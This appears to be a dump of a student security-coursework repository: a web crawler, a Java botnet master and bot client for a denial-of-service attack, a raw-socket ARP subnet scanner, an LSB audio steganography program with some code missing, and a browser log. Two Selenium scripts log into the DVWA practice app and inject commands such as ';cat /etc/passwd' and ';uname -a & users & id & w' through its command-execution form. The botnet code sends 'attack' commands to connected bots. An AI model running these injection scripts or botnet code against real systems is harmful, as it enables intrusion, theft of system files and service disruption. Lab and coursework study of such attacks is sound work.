30 | if len(links.find_all("img"))>0:
31 | #print ("Images")
32 | continue
33 | #all different file extensions could be replaced
34 | if "pdf" in str(links):
35 | #print ("Escaping PDF")
36 | continue
37 | if links.has_attr('href'):
38 | linkUrl=links['href']
39 | #Checking for links which basically points to the same
40 | #page using hash and doesn't starts with http
41 | ##skipping the loop if not of same domain
42 | if linkUrl.count("#")>0:
43 | continue
44 | #For conditions where and target is different from baseURL(Since no redirection is handled yet), Target Url=http://www.sallatykka.com/web/index.php, so have to map /web/ directory, so i do /../
45 | if not linkUrl.startswith('http') and "www" not in linkUrl:
46 | linkUrl=target+"/../"+linkUrl
47 | #print ("Incomplete: "+linkUrl)
48 |
49 | #skipping the loop if not of same domain
50 | if not linkUrl.startswith(baseURL):
51 | #print ("Escaping other domain")
52 | continue
53 |
54 | #Only letting visit the links which have not been
55 | #visited before
56 | if linkUrl not in linksVisited:
57 | linksVisited.add(linkUrl)
58 | q.put(linkUrl)
59 | #print (linkUrl)
60 | addLinksWithInputParam(linkUrl)
61 | #print ("queue size before"+ str(q.qsize()))
62 | #q.task_done()
63 | #print ("queue size after"+ str(q.qsize()))
64 |
65 | except:
66 | print ("An error occured while opening "+url)
67 | continue
68 |
69 |
70 |
71 |
72 |
73 | #Expecting target as an argument, starting with http
74 | #since href's start the link with http which we check for same domain above
75 | if(len(sys.argv)<2):
76 | print ("Please pass a target url in the format http://www.example.com")
77 | exit(0)
78 |
79 | target=sys.argv[1]
80 |
81 | parsed=urlparse(target)
82 |
83 | baseURL=parsed.scheme+"://"+parsed.netloc
84 |
85 | print ("Target and BaseURL")
86 | print (target)
87 | print (baseURL)
88 | q = queue.Queue()
89 | q.put(target)
90 |
91 | #Since we do not want to visit the root url again we put it into the visited list
92 | #Also we may find a # in href which is a null value, but would revisit the same website
93 | #Hence adding it too
94 | linksVisited.add(target)
95 | linksVisited.add(target+'#')
96 | linksVisited.add(baseURL)
97 |
98 | num_threads = 10
99 |
100 | for i in range(num_threads):
101 | worker = Thread(target=do_stuff, args=(q,))
102 | worker.setDaemon(True)
103 | worker.start()
104 |
105 | #Since the threads were clearing the queues before new queue was added, the program was exiting, so running and infinite loop now
106 | #q.join()
107 |
108 | while True:
109 | continue
110 |
--------------------------------------------------------------------------------
/DistributedDenialOfService/client/BotClient.java:
--------------------------------------------------------------------------------
1 | package client;
2 |
3 | import java.io.BufferedInputStream;
4 | import java.io.BufferedOutputStream;
5 | import java.io.IOException;
6 | import java.io.InputStreamReader;
7 | import java.io.OutputStreamWriter;
8 | import java.net.InetAddress;
9 | import java.net.Socket;
10 | import java.net.UnknownHostException;
11 | import java.util.Scanner;
12 |
13 | public class BotClient {
14 |
15 | public static void main(String args[]) throws UnknownHostException, IOException {
16 | /** Define a host server */
17 | String host = "localhost";
18 | /** Define a port */
19 | int port = 19999;
20 |
21 | StringBuffer instr = new StringBuffer();
22 | String TimeStamp;
23 | System.out.println("SocketClient initialized");
24 |
25 | try {
26 | InetAddress address = InetAddress.getByName(host);
27 | Socket connection = new Socket(address, port);
28 |
29 | BufferedInputStream bis = new BufferedInputStream(connection.
30 | getInputStream());
31 |
32 | InputStreamReader isr = new InputStreamReader(bis, "US-ASCII");
33 |
34 | //Appending the inputdatastream
35 | int c;
36 | while ( (c = isr.read()) != 13)
37 | instr.append( (char) c);
38 |
39 | System.out.println(instr);
40 |
41 | //Keeping the socket listening
42 | while(!isr.ready()){
43 |
44 | }
45 |
46 | System.out.println("Break the loop");
47 | instr=new StringBuffer();
48 |
49 | while ( (c = isr.read()) != 13)
50 | instr.append( (char) c);
51 |
52 | String input = instr.toString();
53 | String[] elements = input.split(" ");
54 | String command = elements[0];
55 | String hostAddress=elements[1];
56 | String hostPort=elements[2];
57 |
58 | //For attacking the host
59 | Socket connectionToTargetHost=null;
60 | if(command.equalsIgnoreCase("attack")){
61 | connectionToTargetHost = new Socket(InetAddress.getByName(hostAddress),
62 | Integer.parseInt(hostPort));
63 | System.out.println("Connection established to google.com");
64 | }
65 |
66 | System.out.println(instr);
67 |
68 | instr=new StringBuffer();
69 |
70 | //Keeping the socket listening
71 | while(!isr.ready()){
72 |
73 | }
74 |
75 | while ( (c = isr.read()) != 13)
76 | instr.append( (char) c);
77 |
78 | String input1 = instr.toString();
79 | String[] elements1 = input1.split(" ");
80 | String command1 = elements1[0];
81 | String hostAddress1=elements1[1];
82 | String hostPort1=elements1[2];
83 |
84 | if(command1.equalsIgnoreCase("disconnect")){
85 | connectionToTargetHost.close();
86 | System.out.println("Connection to the host closed");
87 | }
88 |
89 |
90 |
91 |
92 | /** Close the socket connection. */
93 | //connection.close();
94 | }
95 | catch (IOException f) {
96 | System.out.println("IOException: " + f);
97 | }
98 | catch (Exception g) {
99 | System.out.println("Exception: " + g);
100 | }
101 | }
102 | }
--------------------------------------------------------------------------------
/Subnet_Scanner/subnetscanner.py:
--------------------------------------------------------------------------------
1 | import socket
2 | import struct
3 | import binascii
4 | import netifaces
5 | #from netaddr import IPNetwork
6 | import netaddr
7 | import re
8 | import thread
9 |
10 |
11 | #Calculating the CIDR of the netmask
12 | def calculateCIDR(networkmask):
13 | binary_str = ''
14 | for octet in networkmask:
15 | binary_str += bin(int(octet))[2:].zfill(8)
16 | return str(len(binary_str.rstrip('0')))
17 |
18 | #Sniffing arp responses
19 | def scanningNetwork(threadname,delay):
20 | #0x0003 represents all type of protocol it will listen to
21 | rawsock=socket.socket(socket.PF_PACKET,socket.SOCK_RAW,socket.htons(0x0003))
22 |
23 |
24 | # 2048 is the number of default network byte read
25 | while True:
26 | packet=rawsock.recvfrom(65565)
27 |
28 | #Initial 14 bytes headers of ethernet frames
29 | ethHeader=packet[0][0:14]
30 |
31 | # exclamation represents network byte order, 6s6s2s, 6s is for 6 short bytes and so on
32 | ethHeaderValues=struct.unpack('!6s6sH',ethHeader)
33 | #It shall give 8 for IP protocol, we have to use 6s6sH above
34 |
35 | typeOfProtocol=socket.ntohs(ethHeaderValues[2])
36 |
37 | #IP packet type is 0x0800. You use 8 because you displayed it in the network byte order (use ntohs() to convert it).
38 | #All packet types are defined in include/linux/if_ether.h
39 | #1544 is in fact 0x0806 = ARP
40 | if typeOfProtocol==1544:
41 | arp = packet[0][14:42]
42 | arp_header = struct.unpack("2s2s1s1s2s6s4s6s4s", arp)
43 | arp_op_code=binascii.hexlify(arp_header[4])
44 | if arp_op_code=='0002':
45 | print "Host is up:"
46 | print socket.inet_ntoa(arp_header[6])
47 |
48 |
49 |
50 | #########Main method
51 |
52 | if __name__ == "__main__":
53 | #Creating a thread for listening the reply ARP packets on the raw socket
54 | try:
55 | thread.start_new_thread( scanningNetwork, ("Thread-1", 2, ) )
56 | except:
57 | print "Error: unable to start thread"
58 |
59 | #Injecting ARP packets
60 | raw_socket=socket.socket(socket.PF_PACKET,socket.SOCK_RAW,socket.htons(0x0800))
61 | raw_socket.bind(('eth0',socket.htons(0x0800)))
62 |
63 | #To find local ip address and net mask
64 | eth_address=netifaces.ifaddresses("eth0")
65 | ip_and_mask = eth_address[socket.AF_INET][0]
66 |
67 | print "Your IP address: "+ip_and_mask['addr']
68 | print "Your net mask: "+ip_and_mask['netmask']
69 |
70 |
71 | #Formatting IP and CIDR to fetch the list of IP in the subnet
72 | ip_and_cidr = ip_and_mask['addr']+'/'+calculateCIDR(ip_and_mask['netmask'].split('.'))
73 |
74 | #Gives a list of all hosts in the network
75 | network_range = list(netaddr.IPNetwork(ip_and_cidr))
76 |
77 | print "Your network address is:%s"%str(network_range[0])
78 |
79 | #Removing network and broadcast address
80 | del network_range[0]
81 | network_range.pop()
82 |
83 | #Getting the MAC address
84 | ip_source=socket.inet_aton(str(ip_and_mask['addr']))
85 | #mac_source = binascii.unhexlify(eth_address[17][0]['addr'].replace(':',''))
86 |
87 | mac_source=binascii.unhexlify(eth_address[17][0]['addr'].replace(':',''))
88 | print "********************Injecting the packet********************"
89 |
90 | for ip in network_range:
91 |
92 | ip_destination = socket.inet_aton(str(ip))
93 | #ARP packet: Initial three fields belong to ethernet packet rest is ARP,
94 | #third field \x08\06 represents an ARP types of ethernet frame
95 | packet = struct.pack("!6s6s2s2s2s1s1s2s6s4s6s4s","\xff\xff\xff\xff\xff\xff",\
96 | mac_source,"\x08\x06","\x00\x01","\x08\x00","\x06","\x04",\
97 | "\x00\x01", mac_source,ip_source, "\x00\x00\x00\x00\x00\x00", ip_destination)
98 | raw_socket.send(packet)
99 |
100 |
101 | print "******************Packet Injection Completed******************"
102 | print "Printing the responses"
103 | #Keep running the main thread, Because a child thread if listening for the
104 | #ARP replies
105 | while 1:
106 | pass
107 |
108 |
--------------------------------------------------------------------------------
/209-project/Project/cmd_exe.py:
--------------------------------------------------------------------------------
1 |
2 | from selenium import webdriver
3 | from selenium.webdriver.common.keys import Keys
4 | from selenium.webdriver.support.ui import Select
5 | from selenium.common.exceptions import TimeoutException
6 | from selenium.webdriver.support.ui import WebDriverWait
7 | from selenium.webdriver.support import expected_conditions as EC
8 | from bs4 import BeautifulSoup
9 | import time
10 |
11 | def command():
12 | timeToSleep=2
13 |
14 | # create a new Firefox session
15 | driver = webdriver.Firefox()
16 | #driver.implicitly_wait(10)
17 | driver.maximize_window()
18 |
19 | # navigate to the application home page
20 | driver.get("http://192.168.147.135/dvwa/login.php")
21 |
22 | # get the search textbox
23 | username = driver.find_element_by_name("username")
24 | password=driver.find_element_by_name("password")
25 |
26 | # logging into DVWA
27 | # enter search keyword and submit
28 | username.send_keys("admin")
29 | password.send_keys("password")
30 | login=driver.find_element_by_name("Login")
31 | time.sleep(timeToSleep)
32 | login.click()
33 |
34 | # the following code performs the exploits using "command execution"
35 | driver.get("http://192.168.147.135/dvwa/vulnerabilities/exec/")
36 |
37 | # creating a log file
38 | fp = open('cmdexec.log','w')
39 |
40 |
41 |
42 | # finding the present working directory, current use name and process running
43 | cmd_section = driver.find_element_by_name("ip")
44 | time.sleep(timeToSleep)
45 | cmd_section.send_keys(";pwd & whoaim & ps")
46 | time.sleep(timeToSleep)
47 | submit = driver.find_element_by_name("submit")
48 | submit.click()
49 |
50 | time.sleep(timeToSleep)
51 | html = driver.page_source
52 | soup = BeautifulSoup(html)
53 | text = "\nthe present directory and current use name, process currently running are :\n"
54 | fp.write(text)
55 | for tag in soup.find_all('pre'):
56 | fp.write(tag.text)
57 |
58 | # knowing information about OS and users
59 | cmd_section = driver.find_element_by_name("ip")
60 | time.sleep(timeToSleep)
61 | cmd_section.send_keys(";uname -a & users & id & w")
62 | time.sleep(timeToSleep)
63 | submit = driver.find_element_by_name("submit")
64 | submit.click()
65 |
66 | time.sleep(timeToSleep)
67 | html = driver.page_source
68 | soup = BeautifulSoup(html)
69 | text = "\nthe OS version and user details are :\n"
70 | fp.write(text)
71 | for tag in soup.find_all('pre'):
72 | fp.write(tag.text)
73 |
74 | # knowing the list of files present in a location
75 | cmd_section = driver.find_element_by_name("ip")
76 | time.sleep(timeToSleep)
77 | cmd_section.send_keys("; ls -al")
78 | time.sleep(timeToSleep)
79 | time.sleep(timeToSleep)
80 | submit = driver.find_element_by_name("submit")
81 | submit.click()
82 |
83 | time.sleep(timeToSleep)
84 | html = driver.page_source
85 | soup = BeautifulSoup(html)
86 | text = "\nthe list of files present are :\n"
87 | fp.write(text)
88 | for tag in soup.find_all('pre'):
89 | fp.write(tag.text)
90 |
91 | # the groups present on this system
92 | cmd_section = driver.find_element_by_name("ip")
93 | time.sleep(timeToSleep)
94 | cmd_section.send_keys(";cat /etc/group")
95 | time.sleep(timeToSleep)
96 | submit = driver.find_element_by_name("submit")
97 | submit.click()
98 |
99 | time.sleep(timeToSleep)
100 | html = driver.page_source
101 | soup = BeautifulSoup(html)
102 | text = "\nthe present groups and their permission of OS \n"
103 | fp.write(text)
104 | for tag in soup.find_all('pre'):
105 | fp.write(tag.text)
106 |
107 | # getting the passwd file contents
108 | cmd_section = driver.find_element_by_name("ip")
109 | time.sleep(timeToSleep)
110 | cmd_section.send_keys(";cat /etc/passwd")
111 | time.sleep(timeToSleep)
112 | submit = driver.find_element_by_name("submit")
113 | submit.click()
114 |
115 | time.sleep(timeToSleep)
116 | html = driver.page_source
117 | soup = BeautifulSoup(html)
118 | text = "\ngetting the passwd file contents :\n"
119 | fp.write(text)
120 | for tag in soup.find_all('pre'):
121 | fp.write(tag.text)
122 |
123 |
124 | # closing the log file
125 | text = "\n\n ------- END of command execution log file -----------------\n\n"
126 | fp.write(text)
127 | fp.close()
128 | time.sleep(3)
129 | driver.close()
130 |
131 |
--------------------------------------------------------------------------------
/209-project/cmd_exe.py:
--------------------------------------------------------------------------------
1 |
2 | from selenium import webdriver
3 | from selenium.webdriver.common.keys import Keys
4 | from selenium.webdriver.support.ui import Select
5 | from selenium.common.exceptions import TimeoutException
6 | from selenium.webdriver.support.ui import WebDriverWait
7 | from selenium.webdriver.support import expected_conditions as EC
8 | from bs4 import BeautifulSoup
9 | import time
10 |
11 | def command(host):
12 | timeToSleep=2
13 |
14 | # create a new Firefox session
15 | driver = webdriver.Firefox()
16 | #driver.implicitly_wait(10)
17 | driver.maximize_window()
18 |
19 | # navigate to the application home page
20 | driver.get(host+"/dvwa/login.php")
21 |
22 | # get the search textbox
23 | username = driver.find_element_by_name("username")
24 | password=driver.find_element_by_name("password")
25 |
26 | # logging into DVWA
27 | # enter search keyword and submit
28 | username.send_keys("admin")
29 | password.send_keys("password")
30 | login=driver.find_element_by_name("Login")
31 | time.sleep(timeToSleep)
32 | login.click()
33 |
34 | # the following code performs the exploits using "command execution"
35 | driver.get(host+"/dvwa/vulnerabilities/exec/")
36 |
37 | # creating a log file
38 | fp = open('cmdexec.log','w')
39 |
40 |
41 |
42 | # finding the present working directory, current use name and process running
43 | cmd_section = driver.find_element_by_name("ip")
44 | time.sleep(timeToSleep)
45 | cmd_section.send_keys(";pwd & whoaim & ps")
46 | time.sleep(timeToSleep)
47 | submit = driver.find_element_by_name("submit")
48 | submit.click()
49 |
50 | time.sleep(timeToSleep)
51 | html = driver.page_source
52 | soup = BeautifulSoup(html, "lxml")
53 | text = "\nthe present directory and current use name, process currently running are :\n"
54 | fp.write(text)
55 | for tag in soup.find_all('pre'):
56 | fp.write(tag.text)
57 |
58 | # knowing information about OS and users
59 | cmd_section = driver.find_element_by_name("ip")
60 | time.sleep(timeToSleep)
61 | cmd_section.send_keys(";uname -a & users & id & w")
62 | time.sleep(timeToSleep)
63 | submit = driver.find_element_by_name("submit")
64 | submit.click()
65 |
66 | time.sleep(timeToSleep)
67 | html = driver.page_source
68 | soup = BeautifulSoup(html, "lxml")
69 | text = "\nthe OS version and user details are :\n"
70 | fp.write(text)
71 | for tag in soup.find_all('pre'):
72 | fp.write(tag.text)
73 |
74 | # knowing the list of files present in a location
75 | cmd_section = driver.find_element_by_name("ip")
76 | time.sleep(timeToSleep)
77 | cmd_section.send_keys("; ls -al")
78 | time.sleep(timeToSleep)
79 | time.sleep(timeToSleep)
80 | submit = driver.find_element_by_name("submit")
81 | submit.click()
82 |
83 | time.sleep(timeToSleep)
84 | html = driver.page_source
85 | soup = BeautifulSoup(html, "lxml")
86 | text = "\nthe list of files present are :\n"
87 | fp.write(text)
88 | for tag in soup.find_all('pre'):
89 | fp.write(tag.text)
90 |
91 | # the groups present on this system
92 | cmd_section = driver.find_element_by_name("ip")
93 | time.sleep(timeToSleep)
94 | cmd_section.send_keys(";cat /etc/group")
95 | time.sleep(timeToSleep)
96 | submit = driver.find_element_by_name("submit")
97 | submit.click()
98 |
99 | time.sleep(timeToSleep)
100 | html = driver.page_source
101 | soup = BeautifulSoup(html, "lxml")
102 | text = "\nthe present groups and their permission of OS \n"
103 | fp.write(text)
104 | for tag in soup.find_all('pre'):
105 | fp.write(tag.text)
106 |
107 | # getting the passwd file contents
108 | cmd_section = driver.find_element_by_name("ip")
109 | time.sleep(timeToSleep)
110 | cmd_section.send_keys(";cat /etc/passwd")
111 | time.sleep(timeToSleep)
112 | submit = driver.find_element_by_name("submit")
113 | submit.click()
114 |
115 | time.sleep(timeToSleep)
116 | html = driver.page_source
117 | soup = BeautifulSoup(html, "lxml")
118 | text = "\ngetting the passwd file contents :\n"
119 | fp.write(text)
120 | for tag in soup.find_all('pre'):
121 | fp.write(tag.text)
122 |
123 |
124 | # closing the log file
125 | text = "\n\n ------- END of command execution log file -----------------\n\n"
126 | fp.write(text)
127 | fp.close()
128 | time.sleep(3)
129 | driver.close()
130 |
131 |
--------------------------------------------------------------------------------
/AudioStegnoUsingLSB/AudioStegno.java:
--------------------------------------------------------------------------------
1 | package stegno;
2 |
3 | import java.io.BufferedInputStream;
4 | import java.io.ByteArrayOutputStream;
5 | import java.io.File;
6 | import java.io.FileInputStream;
7 | import java.io.FileNotFoundException;
8 | import java.io.IOException;
9 |
10 | public class AudioStegno {
11 |
12 | static WavFile outwavFile =null;
13 |
14 | static long frameCounter = 0;
15 | public static void main(String args[]){
16 |
17 | //Size of the original file is 661544 bytes, this buffer contains the updated bytes
18 | byte[] buffer1 = new byte[661544];
19 |
20 | try
21 | {
22 |
23 | int sampleRate = 44100; // Samples per second
24 |
25 | // Calculate the number of frames required for specified duration
26 | long numFrames = 165375;
27 | int count=0;
28 |
29 | // Create a wav file with the name specified as the first argument
30 | outwavFile = WavFile.newWavFile(new File("C:\\Users\\Vaibhav\\Desktop\\cello2.wav"), 2, numFrames, 16, sampleRate);
31 |
32 |
33 | /////////////////////////////////////////////////////////////////////////////////////
34 | ByteArrayOutputStream out = new ByteArrayOutputStream();
35 | BufferedInputStream in = new BufferedInputStream(new FileInputStream("C:\\Users\\Vaibhav\\Desktop\\cello1.wav"));
36 |
37 | int read;
38 | byte[] buff = new byte[1024];
39 | while ((read = in.read(buff)) > 0)
40 | {
41 | out.write(buff, 0, read);
42 | }
43 | out.flush();
44 | byte[] audioBytes = out.toByteArray();
45 |
46 |
47 | //Text to hide 'Hi' in binary
48 | String texttohide="0100100001101001";
49 | char [] texttohidechar= texttohide.toCharArray();
50 |
51 | //Starting from 44 because the first 43 bytes is the header of the file
52 | for(int i=44; i 0)
117 | {
118 | out.write(buff, 0, read);
119 | }
120 | out.flush();
121 | byte[] audioBytes = out.toByteArray();
122 |
123 |
124 | for(int i=88;i<230;i++){
125 |
126 | Integer a=audioBytes[i] & 0xff;
127 |
128 | //Converting the bytes to binary
129 | String bytestobinary = String.format("%8s", Integer.toBinaryString(a & 0xFF)).replace(' ', '0');
130 |
131 | if(a<127){
132 | char secretMessage=bytestobinary.charAt(7);
133 | secretmessage+=String.valueOf(secretMessage);
134 |
135 | }
136 | }
137 |
138 | System.out.println("Hidden message in bits:"+secretmessage);
139 |
140 | String input = secretmessage;
141 | String output = "";
142 | for(int i = 0; i <= input.length() - 8; i+=8)
143 | {
144 | int k = Integer.parseInt(input.substring(i, i+8), 2);
145 | output += (char) k;
146 | }
147 | System.out.println("Hidden message retrieved is:"+output);
148 |
149 |
150 | } catch (FileNotFoundException e) {
151 | e.printStackTrace();
152 | }
153 | }
154 | }
155 |
--------------------------------------------------------------------------------
/DistributedDenialOfService/server/MasterServer.java:
--------------------------------------------------------------------------------
1 | package server;
2 |
3 | import java.io.BufferedOutputStream;
4 | import java.io.BufferedReader;
5 | import java.io.BufferedWriter;
6 | import java.io.FileReader;
7 | import java.io.FileWriter;
8 | import java.io.IOException;
9 | import java.io.OutputStreamWriter;
10 | import java.net.InetAddress;
11 | import java.net.ServerSocket;
12 | import java.net.Socket;
13 | import java.util.HashMap;
14 | import java.util.Iterator;
15 | import java.util.Map;
16 | import java.util.Map.Entry;
17 |
18 | public class MasterServer {
19 |
20 | static ServerSocket socket1;
21 | protected final static int port = 19999;
22 | static Socket connection;
23 |
24 | static boolean first;
25 | static StringBuffer process;
26 | static String TimeStamp;
27 |
28 | static Map clientSocketsMapToIp=new HashMap();
29 |
30 | public static void main(String args[]) throws IOException{
31 |
32 |
33 | try{
34 | socket1 = new ServerSocket(port);
35 | System.out.println("SingleSocketServer Initialized");
36 | int character;
37 |
38 | ThreadForCommands t=new ThreadForCommands();
39 | t.start();
40 |
41 | while (true) {
42 | connection = socket1.accept();
43 | System.out.println("Client Connected");
44 |
45 | ThreadsForMultipleClients m=new ThreadsForMultipleClients(connection);
46 | m.start();
47 |
48 | InetAddress addr = connection.getInetAddress();
49 | String ipAddress=addr.toString().substring(1);
50 | int port = connection.getPort();
51 | System.out.println(port);
52 | TimeStamp = new java.util.Date().toString();
53 |
54 | //clientSocketsMapToIp.put(ipAddress+":"+port, connection);
55 | clientSocketsMapToIp.put(ipAddress, connection);
56 | write(ipAddress,port,TimeStamp);
57 |
58 |
59 |
60 | //need to wait 10 seconds for the app to update database
61 | /*try {
62 | Thread.sleep(10000);
63 | }
64 | catch (Exception e){
65 |
66 | }*/
67 | }
68 | }
69 | catch (IOException e) {
70 | }
71 | }
72 |
73 | public void listBots(){
74 | //Reading from the text file
75 | try{
76 | FileReader reader = new FileReader("MyFile.txt");
77 | BufferedReader bufferedReader = new BufferedReader(reader);
78 |
79 | String line;
80 |
81 | while ((line = bufferedReader.readLine()) != null) {
82 | System.out.println(line);
83 | }
84 | reader.close();
85 |
86 | } catch (IOException e) {
87 | e.printStackTrace();
88 | }
89 | }
90 |
91 | public void attack(String command){
92 | System.out.println(command);
93 | String[] elements = command.split(" ");
94 | String ipOrAll=elements[1];
95 | String targetHostname=elements[2];
96 | String targetHostnameport=elements[3];
97 | String sendCommand = "attack" + " " + targetHostname + " " + targetHostnameport + " " + (char) 13;
98 | //When we have to use all the bots to connect to the target host
99 | if(command.contains("all")){
100 |
101 | //Iterating over each bot to get their socket
102 | Iterator iterate=clientSocketsMapToIp.entrySet().iterator();
103 | while(iterate.hasNext()){
104 | Map.Entry bot=(Entry)iterate.next();
105 |
106 | BufferedOutputStream osForAll;
107 | try {
108 | //Fetching socket for each bot
109 | osForAll = new BufferedOutputStream(bot.getValue().getOutputStream());
110 | OutputStreamWriter oswForAll = new OutputStreamWriter(osForAll, "US-ASCII");
111 | oswForAll.write(sendCommand);
112 | oswForAll.flush();
113 | } catch (IOException e) {
114 | e.printStackTrace();
115 | }
116 | }
117 | }
118 |
119 | else{
120 | //When we want a particular bot to connect to the target hostname
121 | BufferedOutputStream os;
122 | try {
123 | os = new BufferedOutputStream(clientSocketsMapToIp.get(ipOrAll).getOutputStream());
124 | OutputStreamWriter osw = new OutputStreamWriter(os, "US-ASCII");
125 | osw.write(sendCommand);
126 | osw.flush();
127 | } catch (IOException e) {
128 | e.printStackTrace();
129 | }
130 | }
131 |
132 |
133 | }
134 |
135 | public void disconnect(String command){
136 |
137 | System.out.println(command);
138 | String[] elements = command.split(" ");
139 | String ipOrAll=elements[1];
140 | String targetHostname=elements[2];
141 | String targetHostnameport=elements[3];
142 | String sendCommand = "disconnect" + " " + targetHostname + " " + targetHostnameport + " " + (char) 13;
143 |
144 | //When we have to use all the bots to connect to the target host
145 | if(command.contains("all")){
146 |
147 | //Iterating over each bot to get their socket
148 | Iterator iterate=clientSocketsMapToIp.entrySet().iterator();
149 | while(iterate.hasNext()){
150 | Map.Entry bot=(Entry)iterate.next();
151 |
152 | BufferedOutputStream osForAll;
153 | try {
154 | //Fetching socket for each bot
155 | osForAll = new BufferedOutputStream(bot.getValue().getOutputStream());
156 | OutputStreamWriter oswForAll = new OutputStreamWriter(osForAll, "US-ASCII");
157 | oswForAll.write(sendCommand);
158 | oswForAll.flush();
159 | } catch (IOException e) {
160 | e.printStackTrace();
161 | }
162 | }
163 | }
164 |
165 | else{
166 | //When we want a particular bot to connect to the target hostname
167 | BufferedOutputStream os;
168 | try {
169 | os = new BufferedOutputStream(clientSocketsMapToIp.get(ipOrAll).getOutputStream());
170 | OutputStreamWriter osw = new OutputStreamWriter(os, "US-ASCII");
171 | osw.write(sendCommand);
172 | osw.flush();
173 | } catch (IOException e) {
174 | e.printStackTrace();
175 | }
176 | }
177 | }
178 |
179 | public static void write(String ip, int port, String datetime){
180 | //Writing to the file and saving the bots IP and port
181 |
182 | try {
183 | FileWriter writer = new FileWriter("MyFile1.txt", true);
184 | BufferedWriter bufferedWriter = new BufferedWriter(writer);
185 |
186 | bufferedWriter.write(ip+" "+port+" "+datetime);
187 | bufferedWriter.newLine();
188 | bufferedWriter.close();
189 | } catch (IOException e) {
190 | e.printStackTrace();
191 | }
192 | }
193 |
194 |
195 |
196 | }
197 |
198 |
--------------------------------------------------------------------------------
/209-project/Project/geckodriver.log:
--------------------------------------------------------------------------------
1 | 1494368730206 geckodriver INFO Listening on 127.0.0.1:40545
2 | 1494368731214 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.Br9VBckNvMkA
3 | 1494368731220 geckodriver::marionette INFO Starting browser /usr/bin/firefox
4 | 1494368731227 geckodriver::marionette INFO Connecting to Marionette on localhost:43431
5 |
6 | (firefox:1863): GLib-GObject-CRITICAL **: g_type_add_interface_static: assertion 'g_type_parent (interface_type) == G_TYPE_INTERFACE' failed
7 | 1494368735283 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: loginInput
8 |
9 | (firefox:1863): GLib-GObject-CRITICAL **: g_type_add_interface_static: assertion 'g_type_parent (interface_type) == G_TYPE_INTERFACE' failed
10 | 1494368735451 Marionette: Element does not have a correct accessibility role and may not be manipulated via the accessibility API -> id: , tagName: INPUT, className: loginInput
11 | 1494368737849 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className:
12 |
13 | (firefox:1863): GLib-GObject-WARNING **: /build/glib2.0-EvFudu/glib2.0-2.42.1/./gobject/gsignal.c:3410: signal name 'load_complete' is invalid for instance '0x923ec6a0' of type 'MaiAtkType1'
14 |
15 | (firefox:1863): GLib-GObject-WARNING **: /build/glib2.0-EvFudu/glib2.0-2.42.1/./gobject/gsignal.c:3410: signal name 'load_complete' is invalid for instance '0x921db070' of type 'MaiAtkType1'
16 | 1494368741542 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className:
17 | 1494368742633 Marionette: Element is missing an accesible name -> id: , tagName: TEXTAREA, className:
18 |
19 | (firefox:1863): GLib-GObject-WARNING **: /build/glib2.0-EvFudu/glib2.0-2.42.1/./gobject/gsignal.c:3410: signal name 'load_complete' is invalid for instance '0x9246b040' of type 'MaiAtkType1'
20 | 1494368745167 geckodriver INFO Listening on 127.0.0.1:58798
21 | 1494368746164 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.L9Lj76fvho3S
22 | 1494368746166 geckodriver::marionette INFO Starting browser /usr/bin/firefox
23 | 1494368746180 geckodriver::marionette INFO Connecting to Marionette on localhost:38452
24 | 1494368994376 geckodriver INFO Listening on 127.0.0.1:37176
25 | 1494368995382 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.uHOBj6p7qX6o
26 | 1494368995388 geckodriver::marionette INFO Starting browser /usr/bin/firefox
27 | 1494368995394 geckodriver::marionette INFO Connecting to Marionette on localhost:54424
28 |
29 | (firefox:2042): GLib-GObject-CRITICAL **: g_type_add_interface_static: assertion 'g_type_parent (interface_type) == G_TYPE_INTERFACE' failed
30 | 1494368999626 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: loginInput
31 |
32 | (firefox:2042): GLib-GObject-CRITICAL **: g_type_add_interface_static: assertion 'g_type_parent (interface_type) == G_TYPE_INTERFACE' failed
33 | 1494368999724 Marionette: Element does not have a correct accessibility role and may not be manipulated via the accessibility API -> id: , tagName: INPUT, className: loginInput
34 | 1494369004299 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className:
35 | 1494369010533 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className:
36 | 1494369016841 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className:
37 | 1494369025059 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className:
38 | 1494369031283 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className:
39 | 1494369058899 addons.productaddons ERROR Request failed certificate checks: [Exception... "SSL is required and URI scheme is not https." nsresult: "0x8000ffff (NS_ERROR_UNEXPECTED)" location: "JS frame :: resource://gre/modules/CertUtils.jsm :: checkCert :: line 145" data: no]
40 | 1494369202153 geckodriver INFO Listening on 127.0.0.1:52201
41 | 1494369203169 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.mP90mDnI31lo
42 | 1494369203181 geckodriver::marionette INFO Starting browser /usr/bin/firefox
43 | 1494369203209 geckodriver::marionette INFO Connecting to Marionette on localhost:52461
44 |
45 | (firefox:2176): GLib-GObject-CRITICAL **: g_type_add_interface_static: assertion 'g_type_parent (interface_type) == G_TYPE_INTERFACE' failed
46 | 1494369207539 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className: loginInput
47 |
48 | (firefox:2176): GLib-GObject-CRITICAL **: g_type_add_interface_static: assertion 'g_type_parent (interface_type) == G_TYPE_INTERFACE' failed
49 | 1494369207649 Marionette: Element does not have a correct accessibility role and may not be manipulated via the accessibility API -> id: , tagName: INPUT, className: loginInput
50 | 1494369212204 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className:
51 | 1494369218481 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className:
52 | 1494369224707 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className:
53 | 1494369232959 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className:
54 | 1494369239165 Marionette: Element is missing an accesible name -> id: , tagName: INPUT, className:
55 | 1494369351443 geckodriver INFO Listening on 127.0.0.1:60068
56 | 1494369352449 mozprofile::profile INFO Using profile path /tmp/rust_mozprofile.Vav14PcxjqUa
57 | 1494369352454 geckodriver::marionette INFO Starting browser /usr/bin/firefox
58 | 1494369352461 geckodriver::marionette INFO Connecting to Marionette on localhost:50806
59 |
